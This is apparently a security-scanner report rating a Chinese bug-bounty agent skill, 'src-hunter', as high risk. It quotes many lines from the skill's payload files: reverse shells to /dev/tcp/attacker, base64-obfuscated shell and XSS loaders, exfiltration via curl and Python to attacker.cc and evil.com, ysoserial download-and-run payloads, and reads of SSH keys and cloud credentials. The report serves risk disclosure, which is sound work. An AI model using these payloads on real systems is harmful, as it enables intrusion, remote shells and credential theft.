src-hunter

32 / 100 · High risk

Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.

By zhaoxuya520/reverse-skill (GitHub) · coding · 44,484 stars · scanned at commit cab634b

实战 SRC / 众测 / Bug bounty 漏洞挖掘工作流 skill。包含：5 阶段方法论（intake → recon → enum → hunt → report）、19 个攻击类 playbook（SQLi/XSS/RCE/SSRF/IDOR/CSRF/Path Traversal/File Upload/SSTI/XXE/Race/HTTP Smuggling/OAuth/JWT/SAML/GraphQL/Mobile/LLM/DoS）、305 个结构化 payload、263 个 WAF/EDR 绕过变体、2887 份 HackerOne 真实 High/Critical 已披露案例、77,000+ WooYun 案例统计、国产 OA / 中间件指纹库、银行 / 电信行业垂直 playbook。当用户提到 "src 挖洞 / src 漏洞挖掘 / bug bounty / 众测 / hackerone / 漏洞赏金 / SRC / 任意 X 漏洞 / 渗透测试" 或问"如何挖某个目标 / 怎么测某个 API / 如何绕过 WAF" 时触发。

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: target$path, target, attacker.cc, 169.254.169.254, exchange.com, sharepoint.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 732 places.

skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path
skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path
skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path

Show 17 more

skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 246curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)"
skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 100curl -X POST https://target/pay/notify \
skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 106curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS"
skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173curl https://attacker.cc/?d=`whoami`
skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/
skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 18curl -k https://exchange.com/owa/auth/x.js
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 67curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com"
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 110curl -k https://exchange.com/owa/auth/logon.aspx
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 118curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 134curl -k https://exchange.com/autodiscover/autodiscover.xml
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 182curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test"
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 18curl -k https://sharepoint.com/_api/web/webs
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 26curl -k https://sharepoint.com/_api/web/siteusers
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 34curl -k https://sharepoint.com/_api/web/lists
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 42curl -k "https://sharepoint.com/_api/search/query?querytext='password'"
skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 78curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items"

and 712 more places

Contains code that is hidden or hard to read

The author does not mention this.

Found in 15 places.

skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash

Show 12 more

skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne
skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima
skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 222| 命令字过滤 | base64：`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` |
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2254; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2432; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135eval(atob('YWxlcnQoMSk='))
skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne
skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK

Downloads and installs other software

The author does not mention this.

Found in 25 places.

skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 503npm install -g graphql-cli
skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 507pip install inql
skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 511npm install -g graphql-cop

Show 17 more

skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 474java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 716java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 722- `"curl attacker.com/shell.sh|bash"` — 要执行的系统命令（反弹Shell常用） _value_
skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 99npx socket info lodash
skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 114require('child_process').exec('curl evil.com/c | sh')
skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 357pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading"
skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 377pip install target-internal-lib # pip没有scope概念
skills/pentest-tools/src-hunter/references/payloader/by-category/web/框架漏洞.md, line 1133pip install idna
skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 3403"command": "docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html",
skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4798"command": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash",
skills/pentest-tools/src-hunter/references/payloader/tools/内网渗透.md, line 857curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
skills/pentest-tools/src-hunter/references/playbooks/api-rest.md, line 653npm install -g graphql-cli
skills/pentest-tools/src-hunter/references/playbooks/api-rest.md, line 657pip install inql
skills/pentest-tools/src-hunter/references/playbooks/api-rest.md, line 661npm install -g graphql-cop
skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 1009os.system("curl http://attacker.com/m.sh | bash") # 实际行为
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 1329pip install idna
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2457java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"

and 5 more places

Runs commands on your computer

The author does not mention this. Expected for a coding skill.

Found in 115 places.

skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1084{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"

Show 17 more

skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 412; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 414; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro
skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 717java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619${self.module.cache.util.os.popen("id").read()}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620${self.module.cache.util.os.popen("whoami").read()}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621${self.module.cache.util.os.system("id")}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624- `os.popen()` — 打开管道执行命令 _function_
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633${subprocess.check_output(["id","-a"])}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 645${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}

and 95 more places

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 10 places.

skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null",
skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD",

Show 7 more

skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88cat ~/.ssh/authorized_keys
skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906with open("/root/.ssh/id_rsa", "r") as f:
skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137/root/.ssh/authorized_keys /root/.ssh/id_rsa
skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用）
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 288→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json）
skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4423python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
skills/field-journal/precedent-pentest.md, line 441□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json

Changes files outside its own folder

The author does not mention this.

Found in 2 places.

skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'src-hunter' ] || [ -L ~/.agents/skills/'src-hunter' ]; then echo 'A skill folder named src-hunter already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zhaoxuya520/reverse-skill' "$d" && git -C "$d" checkout --quiet 'cab634bd855fc287f6e420c1f36fd1a6b9245960' -- 'skills/pentest-tools/src-hunter' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/pentest-tools/src-hunter' ~/.agents/skills/'src-hunter' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'src-hunter' ~/.claude/skills/'src-hunter' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for zhaoxuya520/reverse-skill shows the score of its lowest-scoring skill.

SkillTrust badge for zhaoxuya520/reverse-skill

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/zhaoxuya520/reverse-skill.svg)](https://zalavijaysinh.github.io/skilltrust/repos/zhaoxuya520/reverse-skill/)

Score history

Date	Version	Score
2026-11-08	`cab634b`	32
2026-11-07	`cab634b`	32